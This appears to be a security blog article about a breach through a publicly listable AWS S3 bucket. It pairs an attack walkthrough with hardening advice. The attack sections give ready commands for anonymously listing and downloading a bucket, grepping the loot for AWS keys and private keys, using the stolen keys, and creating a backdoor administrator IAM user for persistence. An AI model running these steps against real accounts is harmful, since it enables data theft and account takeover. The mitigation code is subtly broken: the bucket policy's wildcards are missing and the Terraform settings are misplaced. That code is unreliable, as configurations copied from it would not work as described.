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Introduction:
In a recent security audit designated “UnderCode Testing,” cybersecurity researchers uncovered a critical supply chain vulnerability stemming from a misconfigured Amazon Web Services (AWS) S3 bucket belonging to a third-party analytics partner. This breach, which exposed 1.2 million user records including hashed credentials and API keys, highlights the cascading risks of interconnected cloud infrastructures. The incident serves as a stark reminder that in modern DevSecOps, a single human error in infrastructure-as-code can compromise an entire ecosystem.
Learning Objectives:
- Understand how to perform reconnaissance on misconfigured cloud storage using open-source intelligence (OSINT) and CLI tools.
- Learn to identify, extract, and analyze exposed credentials and API keys from publicly accessible buckets.
- Master hardening techniques for AWS S3 buckets using bucket policies, Block Public Access, and Infrastructure as Code (IaC) validation.
You Should Know:
1. Cloud Reconnaissance: Identifying Open S3 Buckets
The initial phase of the UnderCode breach involved locating the exposed asset. Attackers often use automated scanners to find buckets with public listing enabled. We can simulate this discovery using a combination of `nmap` scripts and the `awscli` tool.
First, enumerate common bucket names using permutation tools. While tools like `bucket-stream` or `Slurp` exist, a simple `curl` command can test for public listing.
Check if a bucket is publicly listable (Linux/macOS) curl -s https://s3.amazonaws.com/underCode-testing-backup/
If the bucket is public, the response will return an XML listing of files. To get a clean list of keys, use awscli:
List contents of a public S3 bucket aws s3 ls s3://underCode-testing-backup/ --no-sign-request --region us-east-1
Step-by-step: This command bypasses authentication (--no-sign-request) to list the bucket. The output reveals file names, timestamps, and sizes, allowing an attacker to map the exposed data structure. For a recursive listing, add --recursive.
2. Data Extraction and API Key Hunting
After listing the bucket, the attacker downloaded archives containing configuration files. The goal is to automate the extraction of secrets using `grep` for common patterns.
First, sync the entire public bucket locally for analysis:
Download all public contents (Linux/macOS) aws s3 sync s3://underCode-testing-backup/ ./leaked_data/ --no-sign-request
Navigate to the downloaded directory and hunt for high-value strings:
Recursively search for AWS keys, tokens, and passwords (Linux/macOS)
cd leaked_data
grep -r -E "AKIA[0-9A-Z]{16}" . AWS Access Key ID pattern
grep -r -E "--BEGIN RSA PRIVATE KEY--" . Private keys
grep -r -E "password|secret|token" . --ignore-case
On Windows (PowerShell), a similar search can be conducted:
PowerShell equivalent for searching AWS keys
Get-ChildItem -Recurse -File | Select-String -Pattern "AKIA[0-9A-Z]{16}"
Step-by-step: These commands scan every file for regex patterns matching AWS Access Keys (starting with “AKIA”) and private keys. In the UnderCode breach, hardcoded credentials in a backup `.env` file were found this way.
3. Exploitation: Leveraging Exposed AWS Keys
Once an exposed Access Key ID and Secret Access Key are found, an attacker validates them using the AWS CLI. This step is critical to determine the keys’ permissions and scope.
Configure a new profile with the stolen credentials:
Configure AWS profile for the stolen key aws configure --profile attacker Input the Access Key ID and Secret Access Key when prompted. Set default region to us-east-1 (common default).
Test the keys’ validity and permissions:
Check identity and permissions (Linux/macOS/Windows WSL) aws sts get-caller-identity --profile attacker List all S3 buckets the compromised account has access to aws s3 ls --profile attacker
If the keys belong to an over-privileged service account, the attacker can escalate. For instance, they might attempt to create a new IAM user for persistence:
Create a backdoor user (requires high privileges) aws iam create-user --user-name undercode-backup --profile attacker aws iam attach-user-policy --user-name undercode-backup --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile attacker
Step-by-step: This demonstrates the “escalate and persist” phase. The `get-caller-identity` command confirms the account ID and user. If the keys have `iam:CreateUser` permissions, the attacker can establish a permanent foothold.
4. Mitigation: Enforcing S3 Bucket Hardening
To prevent such exposure, organizations must implement a defense-in-depth strategy for cloud storage. The first line of defense is blocking public access at the bucket or account level.
Option A: AWS Console GUI
Navigate to the S3 bucket -> Permissions -> Block Public Access. Edit and block all public access.
Option B: AWS CLI (Remediation)
Apply a strict bucket policy that denies all unauthenticated access:
Create a policy document (save as deny_public.json)
cat <<EOF > deny_public.json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "",
"Action": "s3:",
"Resource": [
"arn:aws:s3:::underCode-testing-backup",
"arn:aws:s3:::underCode-testing-backup/"
],
"Condition": {
"StringNotEquals": {
"aws:PrincipalArn": "arn:aws:iam::123456789012:role/AuthorizedRole"
}
}
}
]
}
EOF
Apply the policy (Linux/macOS/Windows WSL)
aws s3api put-bucket-policy --bucket underCode-testing-backup --policy file://deny_public.json --profile legitimate-admin
Step-by-step: This policy explicitly denies access to everyone except a specific authorized IAM role, effectively locking the bucket down. This ensures that even if the bucket is accidentally listed as public, the policy overrides the ACL.
- Prevention: Infrastructure as Code (IaC) Validation with Checkov
Manual misconfigurations are common. Integrating security scanning into the CI/CD pipeline prevents vulnerable code from reaching production. Using Terraform as an example, a developer might incorrectly define a bucket.
Vulnerable Terraform Code (main.tf):
resource "aws_s3_bucket" "backup" {
bucket = "underCode-testing-backup"
acl = "public-read" <-- Misconfiguration
}
To catch this, run Checkov, a static code analysis tool for IaC:
Install Checkov (Python package) pip install checkov Scan the Terraform directory checkov -d .
Checkov will output a failure, citing the rule `CKV_AWS_20` which flags S3 buckets with public ACLs. The fix involves setting `acl = “private”` and enabling block public access:
resource "aws_s3_bucket" "backup" {
bucket = "underCode-testing-backup"
acl = "private"
Block all public access
block_public_acls = true
block_public_policy = true
ignore_public_acls = true
restrict_public_buckets = true
}
Step-by-step: By running `checkov -d .` before terraform apply, the pipeline halts, preventing the misconfiguration from reaching the cloud.
What Undercode Says:
- The Human Factor is the Perimeter: The UnderCode breach originated not from a zero-day exploit, but from a simple `public-read` ACL setting. This reinforces that cloud security hygiene and automated policy-as-code are non-negotiable.
- Credentials as a Attack Vector: The extraction of hardcoded API keys from backups demonstrates the critical need for secrets management tools (like HashiCorp Vault or AWS Secrets Manager). Developers must never commit secrets to repositories or backups.
- Shift-Left is Mandatory: Integrating tools like Checkov or tfsec into the CI/CD pipeline is the only scalable way to catch misconfigurations before deployment. Relying on post-deployment audits is reactive and insufficient.
- Principle of Least Privilege: The exposed keys in this incident belonged to a service account with excessive permissions. If the account had been read-only, the blast radius would have been limited to data exfiltration, not full account takeover.
- Continuous Monitoring: Organizations must implement real-time monitoring for public S3 buckets using services like AWS Config or third-party CSPM tools to detect and alert on configuration drift immediately.
Prediction:
In the coming year, we will see a surge in supply chain attacks targeting cloud storage misconfigurations, particularly those involving AI training datasets and CI/CD pipeline artifacts. As companies rapidly adopt AI and machine learning, the race to collect data will outpace security protocols, leading to a new wave of breaches where proprietary training data and model weights are exposed. Regulatory bodies will respond by enforcing stricter data protection laws specifically for AI supply chains, making cloud security posture management (CSPM) a mandatory compliance requirement rather than a best practice.
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IT/Security Reporter URL:
Reported By: Masoud Teimory – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
